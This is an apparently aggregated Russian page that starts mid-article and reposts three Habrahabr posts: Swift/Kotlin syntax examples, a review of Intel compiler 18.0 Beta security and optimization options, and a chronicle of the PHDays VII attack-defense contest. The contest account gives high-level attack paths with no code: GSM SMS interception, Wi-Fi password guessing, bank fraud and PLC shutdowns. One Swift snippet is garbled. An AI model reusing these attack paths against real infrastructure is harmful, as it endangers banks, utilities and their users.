Начиная с Xcode 4, где-то с 2011, Objective-C предоставляет однострочную инициализацию для массивов и словарей:


Пример инициализация в Swift:


let numbersArray = [2, 4, 1]
let dictionary = ["key1": "value1", "key2": "value2"

В JDK доступна только статическая инициализация, но нет способа инициализировать Map в одну строку. Функция Map.of которая позволяет это, была представлена только в JDK 9.


Пример статической инициализации в Java:


// Array
private static final int[] numbersArray = new int[] {2, 4, 1};
// Map
private static final Map map;
static
{
    map = new HashMap();
    map.put("key1", "value1");
    map.put("key2", "value2");
}

Но теперь Kotlin умеет делать так:


mapOf("key1" to "value1", "key2" to "value2")

Еще одна вещь, которую я хочу выделить — Range операторы, которые делают вашу жизнь намного проще. Теперь вместо использования циклов for для простого обхода:


for (int i = 0; i < N; i++) {
    // Do something
}

Вы можете делать в Kotlin так:


for (i in 0..N-1) {
    // Do something
}

Или вот так в Swift:


for i in 0../ Do Something
}

Стоит еще упомянуть о кортежах (tuples). Они дают определенную свободу во взаимодействии с другими компонентами и помогают избегать создания дополнительных классов.


Итак, глядя на все эти новые "фичи" и многие-многие другие вещи, которые не упомянуты в этой статье — я бы предположил, что новая эпоха уже началась. Теперь всем новичкам, которые начинают свой путь в мобильной разработке, будут доступны все эти функции прямо "из коробки", и они смогут сократить затраты на рутинную разработку бизнес-логики и управление приложением. И это намного важнее, чем писать сотни строк для того чтоб сделать простой кусок работы. Конечно, раньше вы могли просто поставить и настроить дополнительную библиотеку, такую как PromiseKit, ReactiveCocoa, RxJava и т.п. Но я верю, что доступность этих парадигм и принципов — будет побуждать новых разработчиков использовать именно их, что приведет нас к светлому будущему. :)


Спасибо за внимание! Я надеюсь вам было интересно или, как минимум, это пост дал вам свежие идеи. Я пытался написать коротко, но если вам нужны более конкретные примеры и/или у вас есть предложения/замечания — пожалуйста, напишите в комментариях!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329870/


Метки:  

Новые «плюшки» компилятора – безопасней, быстрее, совершеннее

Четверг, 01 Июня 2017 г. 13:37 + в цитатник

Как говорилось во всеми нами любимом фильме: «Налетай, торопись, покупай живопись». Последняя, конечно, тут ни при чем, а вот «налетать» на новую Бета версию компилятора уже пора. Сегодня я расскажу о том, что нового появилось в пакете Intel Parallel Studio XE 2018 Beta, и в частности, в компиляторной её составляющей. А там действительно много что добавилось, ведь стандарты не стоят на месте — C++14, C++17, Fortran 2008, 2015, OpenMP 4.5 и 5.0, а компилятор должен не только их поддерживать, но и генерировать совершенный, производительный и безопасный код. Кроме этого, новые наборы инструкций AVX512, позволяющие «снимать сливки» с последних процессоров Skylake и KNL, всё больше входят в арсенал современных компиляторов. Но а самое вкусное — новые ключи, которые позволяют получить ещё больше производительности «не напрягаясь». Итак, поехали!

Сразу скажу, что качать Beta версию можно здесь:

Intel Parallel Studio XE 2018 Pre-Beta survey

Всё, о чем я буду говорить, включено в эту версию компиляторов и Update 1, который очень скоро будет доступен. Что потом окажется в финальном продукте – вопрос сложный, но, «вангую», почти всё. Что же мы имеем в новой версии 18.0 Beta?

Безопасность кода


В Microsoft изо всех сил стараются противостоять хакерам и придумывают всё новые и новые технологии. Для начала, они сделали в своём компиляторе С++ дефолтным максимальный уровень защиты стэка через опцию /GS:strong, которая позволяет бороться с переполнением буфера. При этом делается это в ущерб производительности, но безопасность превыше всего. Так как Intel под Windows пытается быть полностью совместимым с компилятором от Microsoft, то начиная с новой версии мы тоже включаем /GS:strong по умолчанию. Ограничить её действие и немного улучшить производительность можно с помощью /GS:partial.

Кроме этого, идёт разработка новой технологии CET (Control-Flow Enforcement Technology), позволяющей бороться с атаками методом возвратно-ориентированного программирования (ROP и JOP-атаками). Одна из идей защиты состоит в том, что появляется ещё один защищенный shadow стэк, в который будет записываться/дублироваться адрес возврата. Когда мы доходим до возврата из функции, происходит проверка корректности возвращаемого процедурой адреса и того адреса, который мы положили в shadow стэк. Кроме этого, добавляется новая инструкция ENDBRANCH для того, чтобы обозначать области в программе, на которые можно делать непрямые переходы через call/jmp. Реализован конечный автомат, и как только процессор обрабатывает одну из инструкций call/jmp, он переходит из состояния IDLE в WAIT_FOR_ENDBRANCH. Собственно, в этом состоянии следующая инструкция для выполнения должна быть ENDBRANCH. Гораздо больше деталей написано в указанной выше статье, а в компиляторах Intel для С/С++ и Fortran появилась поддержка CET через опцию -cf-protection. По умолчанию, она не включена и, естественно, может влиять на производительность при использовании.

Кто готов протестировать новую защиту? Важное замечание заключается в том, что для полноценной работы CET необходима поддержка ОС и RTL, а её пока нет.

Производительность


Теперь поговорим о новых опциях компиляторов, которые позволят сделать ваши приложения ещё быстрее и производительнее.
Есть такая компиляторная оптимизация, которая называется function splitting (разделение функций). Для того чтобы понять, зачем она нужна, стоить вспомнить про встраивание кода и то, что одним из эффектов является увеличение его размера. Поэтому inlining не имеет смысл при больших размерах самой функции, которую мы хотим встроить в место вызова. Именно в этих случаях разбиение функции и частичный inlining нам поможет не допустить чрезмерного увеличения размера кода, сохранив её плюсы. В итоге наша функция будет разбиваться на две части, одна из которых (hot) будет встроена, а другая (cold) – нет.

На самом деле, эта оптимизация уже долгое время присутствует в 32-битных компиляторах Intel для Windows, при использовании Profile-Guided Optimization (PGO). Вот, кстати, интересный пост про эту оптимизацию в gcc. Идея проста – скомпилировать наше приложение, сделав инструментацию, затем запустить его и собрать данные о том, как оно выполнялось (профиль), и, уже учитывая эти данные из рантайма, пересобрать код ещё раз, применив полученные знания для более мощной оптимизации.

Теперь понятно, почему с PGO было возможно использовать function splitting, ведь мы хорошо знаем для каждой функции, какая её часть сколько времени выполнялась и что нужно инлайнить.

Сейчас мы уже позволяем разработчикам контролировать эту оптимизацию «ручками», добавляя ключ -ffnsplit[=n] (Linux) или -Qfnsplit[=n] (Windows), который говорит компилятору, что нужно выполнять разбиение функции с вероятностью выполнения блоков равным n или меньше. При этом не важно, включено PGO или нет, но нам обязательно указывать этот параметр n. Если его не указать, то данная оптимизация будет выполняться только при наличии динамической информации от PGO. Значения n могут быть от 0 до 100, но наиболее интересные для нас находятся в первой половине. Скажем, при PGO и 32 битном компиляторе на Windows использовалось значение 5, означающее, что если вероятность выполнения менее 5%, то этот блок не будет инлайнииться.

Если мы заговорили про PGO, то обязательно стоит сказать, что и здесь в новой версии Студии произошли приятные изменения. Раньше эта оптимизация работала только с инструментацией, но теперь возможна работа с использованием сэмплирования из профилировщика VTune. К реализации такой фичи подтолкнула невозможность применения традиционного PGO на real time и embedded системах, где имеются ограничения на размер данных и кода, а инструментация могла его существенно увеличить. Кроме этого, на подобных системах невозможно выполнять I/O операции. Аппаратное сэмлирование из VTune позволяет существенно снизить накладные расходы при выполнении приложения, при этом не происходит увеличения использования памяти. Этот способ даёт статистические данные (при инструментации они точные), но при этом применим на системах, где традиционный PGO «буксует».

Схему работы с новым режимом PGO можно представить в виде диаграммы:

Как и прежде, нам нужно скомпилировать наш код для последующего сбора статистических данных. Только теперь это делается с помощью опции -prof-gen-sampling (Linux) или /Qprof-gen-samplig (Windows).

На выходе мы получим бинарники с расширенной дебаг информацией (что увеличит размер на допустимые 5-10%), но без инструментации. А далее нам понадобится специальный скрипт из VTune для запуска приложения и генерации профиля. После чего (если не нужно мержить несколько профилей), просто пересобираем наш код с полученными данными с ключиком -prof-use-sampling (Linux) или /Qprof-use-sampling (Windows). Для работы с этими опциями нам понадобится VTune, поэтому нужна установка не только компилятора, но и профилировщика. В Beta пакете имеется и то, и другое.

Теперь поговорим о работе с математическими функциями из библиотеки SVML (Short Vector Math Library), предоставляющей векторные аналоги скалярных математических функций.
Сразу несколько изменений коснулись SVML с выходом новой версии. Для того, чтобы убрать накладные расходы при динамическом диспатчинге, теперь на этапе компиляции будет генерироваться прямой вызов необходимой функции, используя заданные значения ключа -x. До этого мы в рантайме проверяли, какой у нас процессор, и вызывали нужную версию функции. И хотя overhead не является большим для обычных функций, при интенсивной работе с математическими функциями (например, экспонентой), он может составлять весомые 10%. Особенно востребованным это будет при вычислениях в финансовом сегменте приложений.

Тем не менее, если нам понадобиться вернуть «старое» поведение компилятора, то нам поможет опция -fimf-force-dynamic-target (Linux) или /Qimf-force-dynamic-target (Windows).

Из той же финансовой области пришло и другое изменение. При работе с математикой важна не только производительность, но и воспроизодимость результатов. Я уже писал о замечательных опциях, позволяющих заботиться об этом -fp-model (Linux) и /fp (Windows). Так вот задавая модель работы с числами с плавающей точкой как precise (-fp-model precise (Linux) или /fp:precise (Windows)), мы лишали себя удовльствия использовать векторные математические функции из SVML, что, конечно, отрицательно сказывалось на производительности, но весьма положительно на воспроизводимость результатов. Теперь разработчики позаботились о том, чтобы производительность не влияла на стабильность численных результатов. С помощью ключика -fimf-use-svml (Linux) или /Qimf-use-svml (Windows) можно сказать компилятору использовать скалярные функции из SVML вместо их вызовов из стандартной библиотеки LIBM. А так как они позаботились о том, чтобы скалярные и векторные версии SVML давали одинаковые результаты, то теперь и при использовании precise модели можно использовать векторные математические функции.

При работе с различными буферами используется большое количество функций, например memcpy, memset и т.д. При наличии их вызовов компилятор использует свою внутреннюю логику и может пойти различными путями: вызывать соответствующую библиотечную функцию, генерировать rep инструкции или развернуть операции в цикл при условии, что он знает размер во время компиляции. Так получилось, что он не всегда правильно угадывает нужный подход, поэтому теперь имеется опция -mstringop-strategy (Linux) или /Qstringop-strategy (Windows), с помощью которой можно сказать компилятору, что делать с такими функциям, работающими с буферами/строками (strings, отсюда и название ключика). Можно указать, соответственно, libcall, rep или const_size_loop в качестве аргумента для опции. Например при компиляции с ключом -Os (заботимся о размере наших бинарников), будет неявно использоваться опция -mstringop-strategy=rep.

Для более производительного кода на системах, поддерживающих AVX-512, появилась опция -opt-assume-safe-padding (Linux) или /Qopt-assume-safe-padding (Windows).
Она позволяет компилятору предполагать, что он может безопасно обращаться к 64 байтам после каждого массива или переменной, выделенной приложением. Ранее данная опция была доступна для KNC, теперь же её можно использовать и для последних архитектур с поддержкой AVX-512. В определённых случаях подобная «вольность» позволит компилятору сгенерировать немаскированные операции загрузки вместо маскированных, например, при использовании G2S (gather to shuffle) оптимизации. Но важно выравнивать данные по 64 байта.

Заключение


Это, пожалуй, наиболее важные из новых «волшебных» опций, которые появились в последней версии компилятора. Но кроме всего этого, была добавлена поддержка почти всего стандарта OpenMP 4.5 (нет только user defined recutions), а так же часть нового поколения OpenMP 5.0 (например, редукции в task’ах).
Стандарты С++11 и С++14 полностью поддерживаются ещё с версии 17.0, а вот полная поддержка Fortran 2008 появилась только сейчас. Да и последний стандарт С++17 будет поддерживаться гораздо в большем объёме, и это учитывая, что он ещё окончательно не принят.

В сухом остатке – мы имеем очередную версию компилятора, дающую нам ещё больше возможностей для оптимизации нашего кода и получения лучшей производительности и безопасности кода, при этом с широкой поддержкой самых последних стандартов. Айда тестить?
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329938/


Метки:  

Хроники Противостояния: как взломать весь город за два дня

Четверг, 01 Июня 2017 г. 13:34 + в цитатник


Давно известно, что битвы ИБ-специалистов с сетевыми злоумышленниками выглядят как красивые зрелища только в голливудском кино. А на деле и реальные атаки, и конкурсы по безопасности чаще напоминают математические олимпиады, красоту которых могут оценить лишь немногие.

Тем не менее, в этом году организаторы «Противостояния», главного конкурса конференции Positive Hack Days VII, сделали все возможное, чтобы решить эту противоречивую задачу — сделать состязание максимально приближенным к реальности, но при этом достаточно понятным и интересным для всех остальных посетителей конференции. И нам кажется, это удалось. Всего за тридцать часов конкурса команды хакеров продемонстрировали целый ряд успешных атак на объекты и инфраструктуры современного города, активно используя и беспроводную связь, и низкоуровневые уязвимости промышленных систем управления, и простые брутфорсы, и сложные многоступенчатые схемы вторжения.

В данной статье мы попробуем восстановить хронологию основных событий, а также подвести некоторые итоги наших масштабных киберучений.

Первый день: разведка и разминка


11:00

Участники «Противостояния» рассаживаются на свои места, изучают стенды. Команды атакующих начинают делать первые сканирования сетей. Команды защитников продолжают настраивать системы защиты и начинают изучать трафик.

А защищать им нужно целый город, в котором функционируют телеком-оператор, два офиса компаний, ТЭЦ, электрическая подстанция, нефтяная и железнодорожная компании. Кроме того, в городе есть целый ряд устройств новомодного Интернета вещей. В соответствии с правилами «Противостояния», команды защитников распределили объекты между собой.

13:00

Одна из хакерских команд делает попытку захода в зону размещения защитников — и выходит из нее с материалами об инфраструктуре и топологии сети.

В таких офлайновых атаках применяется социальный инжиниринг. Одна из команд использует поддельный пропуск организаторов, пытаясь получить данные от защитников. Представители другой команды под видом журналистов «социалят» самих организаторов «Противостояния».

14:00

Две команды отправляют на bug bounty первые некритические уязвимости. Одна из уязвимостей найдена в контроллере управления умными домами.

16:00

Пока состязание идет неторопливо: только во второй половине дня команды атакующих начинают набирать очки, в основном благодаря тому, что находят в цифровой инфраструктуре города учетные записи электронной почты и номера кредитных карт. Но награды за такие находки небольшие: от 100 до 500 публей за учетку. Публи — это не опечатка, а виртуальная валюта города. В рейтинге лидирует BIZone: они получили 100 000 за взлом беззащитного интернет-сайта одной из компаний.

17:00

Команда ЦАРКА находит учетные записи в TeamViewer, который используется для
удаленного контроля системы управления транспортом в инфраструктуре города. Зайдя под этими учетными записями в диспетчерскую систему, хакеры переключают днем светофоры на ночной режим работы. Но движение транспорта при этом почти не изменяется, а спустя какое-то время все возвращается в нормальный режим работы.

19:00

ЦАРКА резко поднимается на первое место: хакерской группе из Казахстана удалось перехватить SMS самого мэра города. В этих секретных сообщениях обнаружился серьезный компромат, что позволило команде ЦАРКА получить сразу 150 000 публей. Как они это сделали? Прослушали радиоэфир, используя osmocom-телефон либо SDR (у них есть и то, и другое).

22:00

Команды ЦАРКА и BIZone начинают устраивать вылазки по стендам, пытаясь подключаться ко всему, что доступно.

00:00

Самая бдительная команда защитников — Jet Security Team — первой пресекает попытки установить в инфраструктуру городского телекома целый сервер и беспроводную точку доступа. Команда атакующих Vulners хотела поставить свою железку «в разрыв», чтобы получить возможность видеть трафик защитников и через точку доступа управлять ей.

02:00

Команда защитников Jet Security Team пресекает множественные попытки физического подключения к стендам промышленных систем города. Помимо уже упомянутых команд, в таких атаках замечена хакерская группа KanzasCityShuffle.



Таблица первого дня

Второй день: ломаем всё!


Ночь — время хакеров, и нападающие доказали это. Несколько команд украли из городского банка более 4 миллионов публей. Для атаки команды Rdot и ЦАРКА использовали украденные ранее учетные данные пользователей, это дало им возможность эксплуатировать систему дистанционного банковского обслуживания для вывода крупных сумм денег (2,8 миллионов — Rdot, 1,3 миллиона — ЦАРКА).

При этом ЦАРКА воспользовалась уязвимостью самого банка, чтобы украсть все деньги со счета команды Rdot. Однако они нарушили правило Противостояния — не ломать инфраструктуру «Противостояния», частью которой является банк (он используется для выдачи призов командам). По этой причине деньги были возвращены команде Rdot.

Тем временем команда Vulners применила другой метод: специальный робот стал снимать маленькие суммы (по 10 рублей) со множества скомпрометированных банковских карт жителей города. Аналогичную атаку провела и группа Hack.ERS.
В реальности такие атаки были бы более незаметными, чем разовая кража большой суммы. Однако такой метод требует времени, а в данном случае его было мало, и вывести много денег не удалось.

Зато общая кража из банка на сумму более 4 миллионов (более 50% денег нашего городка) привела к настоящему экономическому кризису — организаторам пришлось провести допэмиссию и деноминацию.

Утром продолжились и атаки на телеком. Команда Antichat смогла взломать веб-интерфейс управления Asterisk (сервер VoIP-телефонии) и получить логины и хэши паролей все пользователей. Но эту деятельность быстро обнаружили защитники телекома, и немедленно заблокировали доступ к веб-интерфейсу для предотвращения атаки.

12:00

Хакеры добрались до промышленного сектора: команда BIZone остановила работу сразу двух предприятий города — ТЭЦ и нефтеперерабатывающего завода. Это удалось сделать благодаря атаке через сеть Wi-Fi, где использовался словарный пароль. Получив доступ в промышленную сеть, хакеры обнаружили в ней системы релейной автоматики (РЗА), которые используются для защиты электрической части ТЭЦ. Потратив целый час на попытки перенастройки данного оборудования через инженерное ПО, хакеры решили изменить вектор атаки. Подобрав нужный энергетический протокол и скачав другое инженерное ПО, они смогли отключить подачу энергии к подстанции. Вследствие этого инженерному составу, работающему на ТЭЦ, пришлось останавливать работу котлов и турбины. Полная (хотя и временная) остановка работы ТЭЦ также повлияла на функционирование нефтеперерабатывающего завода: ректификационные колонны на АВТ остались без перегретого пара.

Таким образом, один словарный пароль на Wi-Fi позволил команде BIZone деактивировать сразу два промышленных объекта — и выйти на первое место в рейтинге. Увы, энергетический сектор города никто не защищает. Поэтому атаки на промышленные объекты могут продолжиться.



Остановленная ТЭЦ, последний дымок

13:30

Становится жарко! Команда ЦАРКА снова украла из банка несколько миллионов — и снова вышла в топ. Как это получилось? Во время проведения регламентных работ, при подключении системы борьбы с мошенничествами, организаторам пришлось буквально на минуту оставить банк снова беззащитным. И именно в это время ЦАРКА умудрились вывести кучу денег. Налицо умелое использование автоматизации!

15:30

ЦАРКА и BIZone продолжают сражение за первое место. Команда из Казахстана смогла найти автомобиль преступников с украденными деньгами. Используя osmocom-телефон, хакеры перехватили SMS, посылаемые GPS-трекером автомобиля. Таким образом они вычислили «белый номер», с которого можно управлять GPS-трекером, затем подменили номер и послали на трекер команду выдать координаты автомобиля.

Практически в то же время команда BIZone снова смогла остановить нефтеперерабатывающий завод. Ранее они уже делали это через атаку на электроподстанцию и ТЭЦ — но в данном случае была проведена прямая атака на завод. Сначала атаковали Wi-Fi завода (подбор пароля), затем проникли в сеть завода и узнали, какие контроллеры используются на производстве. Изучив информацию по найденным ПЛК в Интернете, атакующие нашли известную уязвимость (эксплойт) и добились остановки контроллеров на АВТ, вследствие чего установка осталась на какое-то время без управления и мониторинга.



Нефтеперерабатывающий завод (фрагмент)

16:00

«Противостояние» закончилось. Но жюри еще проверяет последние выполненные задания: помимо уже упомянутых лидеров (ЦАРКА и BIZone), другие команды тоже провели несколько успешных, но не таких «дорогостоящих» атак в последний час соревнования.

Так, команда Hack.ERS смогла украсть деньги пользователей SIP-телефонии: взломав их аккаунты, хакеры «монетизировались» с помощью звонков на платные короткие номера. Однако атакующие обнаружили эту возможность лишь в конце состязания, поэтому выведенная сумма денег (около 300 000) не позволила им подняться в лидеры.

А команда True0xA3 на последних минутах конкурса доказала, что даже простые методы могут приводить к ощутимым результатам. Взломав домашний роутер одного из простых пользователей, атакующие обнаружили, что это бухгалтер, который хранит на домашнем компьютере финансовую отчетность крупной компании. Атака принесла команде 500 000 публей.

Также стало известно, что команда KanzasCityShuffle взломала умный дом, а команда Antichat получил доступ к веб-камере. Кроме того, некоторые команды нашли и сдали ряд других серьезных уязвимостей по программе bug bounty. Поэтому проверка всех заданий проходит еще в течение двух часов после окончания битвы.



Модель умного дома (фрагмент)

Итоги: а где же защита?


Первые три места в конкурсе заняли ЦАРКА, BIZone и Rdot.org. Финальный рейтинг можно посмотреть здесь. В целом, хакеры в этом году показали себя во всей красе, использовав очень широкий арсенал средств разведки и нападения за довольно короткое время.

Наверняка у многих возникнет вопрос: а где же были защитники, как они все это допустили? Здесь стоит пояснить, что при подготовке нынешнего «Противостояния» организаторы учли проблему прошлого года, когда защита оказалась чересчур подготовленной и «закрученной на все гайки», хотя в жизни такое случается редко. Поэтому в нынешнем состязании защита была не то что бы слабее, но реалистичнее. В частности, защитников поставили в жесткие условия кризисного сокращения расходов на безопасность: у каждой команды был фиксированный бюджет на покупку средств защиты в размере лишь 10 000 виртуальных публей. Кроме того, некоторые объекты и инфраструктуры вовсе остались без защиты — как это бывает и в реальной жизни.

«В случае атак на GSM защитники никак не могли повлиять, однако они могли видеть, что происходит, — рассказал Павел Новиков, руководитель группы исследований безопасности телекоммуникационных систем компании Positive Technologies и один из организаторов «Противостояния». — Мы им давали дамп радиоэфира, однако они ничего не обнаружили. Кроме того, по нашей задумке, защитники могли предотвратить вывод денег через SIP. Возможно, их сбили с толку наши чекеры, которые усердно генерировали голосовые вызовы: в каждый момент времени было 5–10 одновременных голосовых соединений, среди которых защитникам достаточно сложно было рассмотреть хакерскую деятельность, — но именно так и происходит в реальном мире. Второй возможной причиной было слишком позднее обнаружение атакующими этого метода вывода денег, и защитники тоже не успели отреагировать. С другой стороны, защитникам телекома удалось предотвратить взлом сервера Asterisk. Следует отметить их крайне высокую оперативность в этом вопросе».

Эксперт по безопасности АСУ ТП Илья Карпов, занимавшийся организацией стендов промышленных объектов для «Противостояния», также отметил, что в случае атаки на нефтеперерабатывающий завод защитники сделали все, что могли сделать в таких условиях: «Атака происходила очень быстро, обнаруженный подозрительный трафик в сети не позволил защитникам сразу отреагировать на инцидент, но позволил своевременно прекратить повторные попытки атак, быстро изменив пароли».

По мнению фронтмена «Противостояния», члена оргкомитета PHDays Михаила Левина, в этом году состязание действительно удалось, и «хакерский реванш» состоялся не на словах, а на деле: «Все участники прониклись духом соревнования и выложились на все 100. Мы еще раз убедились, что такой формат кибербитвы интересен как участникам, так и зрителям. А самое главное, что мероприятие позволяет обратить внимание широкой общественности на проблемы информационной безопасности».

Впечатления участников


Все, что написано выше, — взгляд на конкурс со стороны организаторов. А теперь давайте послушаем, что думают о «Противостоянии» сами участники — лидирующие команды нападавших, а также представители защиты.



Команда ЦАРКА (нападающие):

«Впечатления очень хорошие. На самом деле мы даже не ожидали победы: для нас это было первое участие в самом «Противостоянии» и поэтому мы ехали с целью поучаствовать. А получилось в итоге выиграть. Самый кураж мы поймали в конце первого дня, когда удалось занять первое место. Спускаться вниз уже не хотелось, и мы решили всей командой удерживать ночью свое место. В некоторых моментах нам очень повезло — особенно, когда мы попали на второй день в пятиминутное окно, когда заработал Банк, что дало нам еще раз украсть деньги у граждан. Туговато получилось со взломом SCADA-систем, но атака на GSM это компенсировала.

Мы получили хороший опыт и протестировали команду в стрессовом состоянии, когда нужно за два дня и разобраться в системах, и успеть их взломать. Большим нашим плюсом было то, что члены команды специализируются в различных направлениях (GSM, реверс и т.д.). У некоторых команд ориентир был только на атаку через Web, к примеру».

Команда BIZone (нападающие):

«Мы первыми сдали крупное задание, за счет чего долго держались лидерами, и нам оно показалось аномально легким: ведь за куда более сложные уязвимости (RCE, XXE) в bug-bounty-программе «Противостояния» начисляли намного меньше очков.

Не можем не отметить физическую атаку, произведенную на нас: около трех часов ночи у нас пропал доступ ко всей игровой инфраструктуре, кроме личного кабинета. Получив ответ, что проблемы в каком-то из коммутаторов, многие члены нашей команды легли спать, однако на утро ситуация не изменилась, и мы, решив, что проблемы у всех, переключились на сервисы с физическим доступом SCADA и IoT. Однако где-то в 14:00 выяснилось, что настолько серьезные проблемы только у нас, и проведенное вместе с организаторами расследование показало, что витая пара, по которой шел доступ во внутреннюю сеть, была переткнута на коммутаторе в неправильный порт. В итоге почти 12 часов у нас не было доступа к основной игровой инфраструктуре.

Также нас очень удивило, когда наутро количество очков всех команд было умножено на 10 (деноминация, случившаяся из-за того, что из банка было уведено слишком много денег). И когда наша команда на следующий день решила задания, которые в первый день оценивались на 800 000 PUB, на второй 8 000 000 PUB, а в результате нам перевели 2 000 000, мы в принципе были даже приятно удивлены, хотя потом поняли, что этих очков нам бы хватило для первого места. Но сколько таких непрозрачных мультипликаций было произведено, интересно до сих пор».

Команда Rdot.Org (нападающие):

«Впечатления лучше, чем в прошлом году, поскольку организаторы постарались устранить дисбаланс в пользу защитников и сделать задания более конкретными. Однако, формат соревнования все еще слишком сложный, и его не удается воплотить полностью. В частности, доступность сервисов была низкой. Видно, что задачи подготовлены интересные и разнообразные, но из-за несовершенства формата соревнования не удается ими вплотную заняться. Недаром годами выверен именно формат CTF, как наиболее лаконичная и практичная форма соревнований».

Jet Security Team (защитники):

«Мы впервые (как команда, так и класс решений — а мы не классическая команда защиты или SOC) участвовали в «Противостоянии». И, конечно, впечатления превзошли ожидания. Сейчас уже можно признаться, что наше участие вызывало некоторый скепсис, в первую очередь, у нас самих: новое решение, новый формат… Но итоги говорят сами за себя.

Жаль, что формат мероприятия не позволил реагировать на ночные атаки хакеров: в первый день наше антифрод-решение стояло только в режиме наблюдения и уведомления организаторов о ситуации. Но зато на следующий день задача «не дать вывести существенного объема средств» была решена на 110%. Кроме того, нам удалось, наверное, самое главное: мы проверили свою готовность решать потенциальные неотложные задачи при ограниченности ресурсов и времени. А также получили немного идей на развитие нашего продукта Jet Detective с точки зрения удобства эксплуатации.

Обидно, что за небольшое количество времени нашей активной работы атакующие не успели существенно попробовать обойти именно нашу аналитическую систему (а вариантов более «сложной игры» для атакующих было достаточно). Да и некоторые хитрости и заготовленные нами ловушки хоть и сработали, но применить их результаты не было необходимости.

Тем не менее, хочется сказать, что мы готовимся к следующему году. И уверены, что в 2018 году такой простой жизни, как в первый день, у атакующих не будет. Надеемся, что нас ждет 30+, а может и 60 часов реального «Противостояния»».

S.P.A.N. (защитники, сборная компаний «Сервионика» и Palo Alto Networks):

««Противостояние» можно сравнить с типовым проектом по построению комплексной системы ИБ. Как и в реальном проекте, мы прошли этапы аудита, проработки архитектуры, подбора необходимых методов и средств защиты информации, согласования всех изменений с организаторами, внедрения и настройки, тестирования и эксплуатации выбранных средств защиты в «боевых» условиях. В целом, основной акцент мы сделали на тщательный, детальный аудит изменений сетевой инфраструктуры и получение полного контроля над сетевым трафиком. На нашу стратегию и выбор конфигурации системы защиты повлияли недавние события: волна публикаций эксплойтов группой The Shadow Brokers и появление уже всемирно известного вируса WannaCry.

Для достижения поставленной цели мы выбрали ряд решений таких компаний, как Palo Alto Networks (NGFW), Positive Technologies (PT Application Firewall, MaxPatrol8), SkyBox Security (NA, FA, VC, TM). Защита конечных точек (хостовых машин) под управлением ОС Linux и Windows была реализована на базе решений Traps (Palo Alto Networks) и Secret Net Studio компании «Код Безопасности», а также встроенными механизмами защиты ОС. Это позволило нам предотвратить использование известных эксплойтов.

Хочется отметить, что офисную инфраструктуру атаковали непрерывно, и в ночное время в том числе. Мы видели, как нападающие обнаруживали уязвимые сервисы и начинали искать в них уязвимости. Атаковали достаточно стандартно, как на курсах: перебирали пароли, искали эксплойты в Интернете и пробовали их применять против серверов и роутеров. Мы видели каждое соединение и журналировали его. Самые активные атаки на DMZ были с 0 до 4 часов ночи. Затем, в 6 утра, атакующие переключились на серверный сегмент внутри офисной сети. Ну и тоже не смоли ни подобрать пароли, ни найти SQL Injection, или XSS, или что-то еще».

SOC «Перспективный мониторинг»:

«Это был отличный полигон для отработки различных сценариев мониторинга. К сожалению, мы столкнулись с техническими трудностями и смогли получить трафик на наши сенсоры только к 19 часам первого дня «Противостояния». Мы получали трафик и события, видели атаки и попытки эксплуатации уязвимостей, но они все блокировались достаточно просто. Удалось выстроить хорошие рабочие отношения с командой защитников, они старались оперативно реагировать на поступающую от нас информацию.

Самый неприятный сюрприз — все атаки были очень типовыми, не было какой-то изюминки, чтобы все участники могли сказать: «Да, вот это было круто». Нападающие или не захотели делиться секретами, или им не хватило времени.

Главный вывод по итогам игры: даже если у тебя все работает за день до «Противостояния», это не гарантирует работу в день самого «Противостояния». А если серьезно, то мы проверили свои методики и команду в деле и пришли к выводу, что и там, и там мы добились определенных успехов. Это очень радует. Хотя не хватило остроты подачи информации, визуализации».

SOC «False Positive» (сборная Solar JSOC, неравнодушных друзей и SOCостроителей России):

«Впечатления положительные. Как любое масштабное мероприятие, PHDays 7 прошло не без накладок, но в целом и уровень организации, и вдохновение участников были очень впечатляющими. Для нас это мероприятие стало очередной возможностью проверить эффективность работы нашего контента в пусть и синтетических, но, тем не менее, интересных условиях работы против профессиональных пентестеров. В прошлом году мы концентрировались на сетевых сценариях и успешно их проверили, в этом мы перенацелились на работу с хостами.

К сожалению, название «Враг изнутри» не до конца оправдало себя, поскольку социальной инженерии и прочих прелестей новой корпоративной безопасности было не очень много. Тем не менее, опыт считаем полезным для ИБ-сообщества в плане проверки собственных сил как атакующими, так и защитниками и SOC.

Безусловно, в столь масштабном проекте нужно очень скрупулезно относиться к балансу сил. На этом мероприятии Банк стал наиболее лакомой целью для атакующих, что, к сожалению, снизило уровень их внимания к другим защищаемым инфраструктурам. В следующем году хотелось бы увидеть еще больше огня и хардкора».

P.S. Для тех, кто был слишком увлечен хакерскими конкурсами и не успел на доклады PHDays VII, напоминаем, что большинство докладов можно посмотреть в записи. В правой части нашего плеера есть меню, где можно выбрать интересующую вас секцию:
www.phdays.ru/broadcast.


Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/329984/


Метки:  

Поиск сообщений в rss_rss_hh_new
Страницы: 1437 ... 988 987 [986] 985 984 ..
.. 1 Календарь